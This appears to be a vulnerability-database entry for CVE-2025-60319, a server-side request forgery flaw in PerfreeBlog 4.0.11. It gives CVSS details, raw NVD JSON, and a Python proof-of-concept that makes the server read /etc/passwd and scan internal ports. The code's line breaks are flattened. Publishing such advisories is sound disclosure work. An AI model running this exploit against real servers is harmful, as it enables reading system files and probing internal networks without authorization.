Security Vulnerability Report
中文
CVE-2025-60319 CVSS 6.5 MEDIUM

CVE-2025-60319

Published: 2025-10-30 17:15:39
Last Modified: 2025-12-09 18:28:37

Description

PerfreeBlog v4.0.11 is vulnerable to Server-Side Request Forgery due to a missing authorization check in the uploadAttachByUrl API endpoint (AttachController.java).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:* - VULNERABLE
PerfreeBlog < 4.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-60319 PoC - PerfreeBlog SSRF via uploadAttachByUrl # Target: PerfreeBlog v4.0.11 TARGET_URL = "http://target.com" # Replace with target URL def exploit_ssrf(target_url, payload_url): """ Exploit SSRF vulnerability in uploadAttachByUrl endpoint """ endpoint = f"{target_url}/admin/attach/uploadAttachByUrl" # Payload to exploit SSRF data = { "url": payload_url # Malicious URL (e.g., file:///etc/passwd or http://127.0.0.1:port) } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except Exception as e: print(f"[!] Error: {e}") return None def scan_internal_port(target_url, host, port): """ Scan internal ports via SSRF """ payload = f"http://{host}:{port}" print(f"[*] Scanning {host}:{port}...") exploit_ssrf(target_url, payload) if __name__ == "__main__": # Example: Read local file print("[*] CVE-2025-60319 - PerfreeBlog SSRF PoC") print("[*] Exploiting uploadAttachByUrl endpoint...") # Read local file exploit_ssrf(TARGET_URL, "file:///etc/passwd") # Scan internal localhost # scan_internal_port(TARGET_URL, "127.0.0.1", 3306)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60319", "sourceIdentifier": "[email protected]", "published": "2025-10-30T17:15:38.800", "lastModified": "2025-12-09T18:28:37.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PerfreeBlog v4.0.11 is vulnerable to Server-Side Request Forgery due to a missing authorization check in the uploadAttachByUrl API endpoint (AttachController.java)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:*", "matchCriteriaId": "56788914-09FF-444D-B30C-0613B758089B"}]}]}], "references": [{"url": "https://github.com/PerfreeBlog/PerfreeBlog/commit/103c79165e3a41a1729188fdc8a1e90c97c0a06d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/PerfreeBlog/PerfreeBlog/issues/20", "source": "[email protected]", "tags": ["Issue Tracking", "Patch", "Vendor Advisory"]}]}}